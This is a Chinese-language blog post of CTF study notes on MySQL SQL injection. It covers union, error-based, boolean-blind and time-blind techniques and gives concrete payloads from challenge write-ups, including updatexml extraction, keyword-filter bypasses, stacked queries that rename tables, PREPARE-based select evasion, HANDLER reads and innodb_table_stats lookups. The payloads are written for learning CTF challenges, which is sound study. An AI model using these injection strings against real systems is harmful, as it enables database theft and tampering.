CTF-SQL注入的姿势

10 篇文章 0 订阅

系统学习SQL注入

常用函数:

函数名称函数功能函数使用说明
system_user()系统用户名
user()用户名
current_user()当前用户名
session_user()连接数据库的用户名
database()数据库名
version()/@@version数据库版本
@@datadir数据库路径
@@basedir数据库安装路径
@@version_compile_os操作系统
count()返回执行结果数量
concat()没有分隔符地连接字符串select concat(username,psd) from users;
concat_ws()含有分隔符地连接字符串
group_concat()以逗号分隔连接一个组的字符串连接为一组,就只有一条数据了
load_file()读取本地文件
into outfile写文件select ‘test_string’ into outfile ‘/opt/mysql’
ascii()字符串的ASCII代码值
ord()返回字符串第一个字符的ASC值
mid()返回字符串的一部分
substr()返回字符串的一部分select substr(‘abcd’,1,2)
length()返回字符串长度
left()返回字符串最左边的几个字符
floor()返回小于或等于x的最大整数
rand()返回0,1之间的随机数
extractvalue(XML_document,XPath_string)从目标xml中返回包含查询值的字符串XML文件名、所查询的字符串
updatexml(XML_document,XPath_string,new)改变文档中符合条件的节点值new是替换符合条件的数据
sleep()让此语句运行N秒
if()SELECT IF(1>2,2,3)==>3
char()返回整数asc代码字符组成的字符串
STRCMP()比较字符串内容
IFNULL()参数1==NULL?参数2:参数1
exp()返回e的x次方

手工注入

核心就是information_schema库;

功能名称查询语句
查库select schema_name from information_schema.schemata;
查表select table_name from information_schema.tables where table_schema=库名
查列select column_name from information_schema.columns where table_name=表名
查数据select 列名 from 库名.表名
union联合查询

场景:只有最后一个select子句允许有order by、limit

  1. 用order by确定列数
  2. 观察页面返回,找到可以显示数据的位置
  3. 读库信息
  4. 读表信息
  5. 读字段
  6. 读数据
报错注入
函数使用说明
floor()select count(*) from information_schema.tables group by concat((select version()),floor(rand(0) * 2));group by 对rand()进行操作时错误
extractvalue()extractvalue(1.concat(0x7e,(select user()),0x7e));
updatexml()select updatexml(1,concat(0x7e,(select user()),0x7e),1);XPATH语法错误
布尔盲注

盲注经常会过滤掉一些函数,如果注入点是id=1这种,可以使用1^1, 1^0这种异或测试,判断是否可以盲注,如果可以,就可以编写代码准备盲注:
?id=1^(ascii(substr((select(group_concat(username,'-',password))from(F1naI1y)),{},1))>{})^1

类似猜单词小游戏,逐位猜测字母,根据显示的真假判断;

构造逻辑判断语句判断信息真假,取出所有真值实现sql注入;

方法说明
left()left(database(),1)>‘s’;database()显示数据库名称,left截取其前n位
regexpselect user() regexp ‘^r’ 匹配正则
likeselect user() like ‘ro%’ 和正则类似,用like匹配
substr() \ ascii()ascii(substr((select database()),1,1))==98 substr从b开始截取a串c长度,ascii将该字符转化为ascii值
ord() \ mid()ord(mid((select user()),1,1))==114 和上面类似
时间盲注

这里是因为,不仅盲注,甚至sql连错误正确的显示内容都相同,所以需要自己在错误的时候进行延时,如此以区分是否为真;

核心语法

if(left(user(),1)='a',0,sleep(3));
真实场景:
if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
报错注入

一题SQL过滤了很多sql字符,先Fuzz测试一下;
在这里插入图片描述
发现还有一些关键词没有过滤,=可以用like替换;
在这里插入图片描述
并且可以注意到他并没有对报错信息处理而是直接echo,所以可以使用报错注入;
其中

空格的过滤可以使用/**/或者(),()表示的是子语句,可以在括号前后不加空格
=可以用like
substring,mid可以用left、right

?username=hhh'or(updatexml(1,concat(0x7e,(database()),0x7e),1))%23&password=hhh
获取到数据库名:
在这里插入图片描述
说明的确可以sql注入,之后就是用information_schema套出表名和属性名
username=hhh'or(updatexml(1,concat(0x7e,(select(group_concat(table_name,'~'))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))%23&password=hhh

最后取数据的时候也有一点坑;
?username=hhh'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=hhh
在这里插入图片描述
发现居然只取出来一半,测试后推测是把取出来的字符该固定长度截取了,所以我们需要获取右半部分的,

使用right函数
?username=hhh'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=hhh
在这里插入图片描述
获取到另一半,去重拼接即可。

骚姿势

过滤select

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

这时候不能用union注入了,因为直接过滤掉了select(/i表示不区分大小写);咋整呢?

堆叠注入

就是一次执行多个语句;

1';show databases;#

先拿表:

-1';show tables;#
在这里插入图片描述
看结构:

-1';desc `1919810931114514`;#

在这里插入图片描述
另一张表words就是题目sql查询的表;
所以又回到原点,如何查数据;

改表名

既然题目查的是words表,那就把1919810931114514名字改成words;字段flag改成id;用简单注入获取flag;

0';
rename table words to words1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
desc  words;#

一定要一口气执行完,不然删了words表之后就不能再注入了,因为无论如何from words都会报错;

预编译语法

预编译相关语法如下:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

构造:
-1’;
set @sql=concat(‘se’,‘lect * from 1919810931114514’);
prepare stmt from @sql;
execute stmt;

即:

-1';set @sql=concat('se','lect * from `1919810931114514`');prepare stmt from @sql;execute stmt;#

返回strstr($inject, "set") && strstr($inject, "prepare")

识别到了set和prepare
但strstr大小写敏感;(stristr大小写不敏感);
所以改一下大小写就行;

-1';Set @sql=concat('se','lect * from `1919810931114514`');prePare stmt from @sql;execute stmt;#

在这里插入图片描述

推测内部sql语句

假设我们是大佬,已经推测出来了;

select $_GET['query'] || flag from Flag

这个||是字符串连接符;所以普通的注入是会成功的,只有堆叠注入;

解法1
输入的内容为*,1
内置的sql语句为s q l = select *,1||flag from Flag";
相当于select * 加了一个没用的字段

解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag

过滤了select读表内容

官方文档

HANDLER FLAGHERE OPEN;
HANDLER FLAGHERE READ FIRST;
HANDLER FLAGHERE CLOSE;

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

过滤or-INNODB_TABLES

此时不能用or、order、information_schema;
前两个倒还好,可以用union select一个一个试,但后一个不能用就很难获取数据了;

在高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。

查表名:

1' union select 1,database(),group_concat(table_name) from mysql.innodb_table_stats where database_name=database()`

查数据:
可以用自定义表再union select的方法,这样只需要知道表的字段数就可以查数据了,不用再费心找属性名;

1' union select 1,(select group_concat(a,b) from(select 1,2 as a,3 as b union select * from users)x)'

这里是自定义了一个x表,这个表有三列分别是1,2,3;其中2列命名为a,3列命名为b,再和users表联合查询,这样users的数据就对应为1,a, b三个列,不需要管users本身的字段叫什么。

但是mysql默认是关闭InnoDB存储引擎;
所以还有一个方法绕过;

sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer

参考文章
WP

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值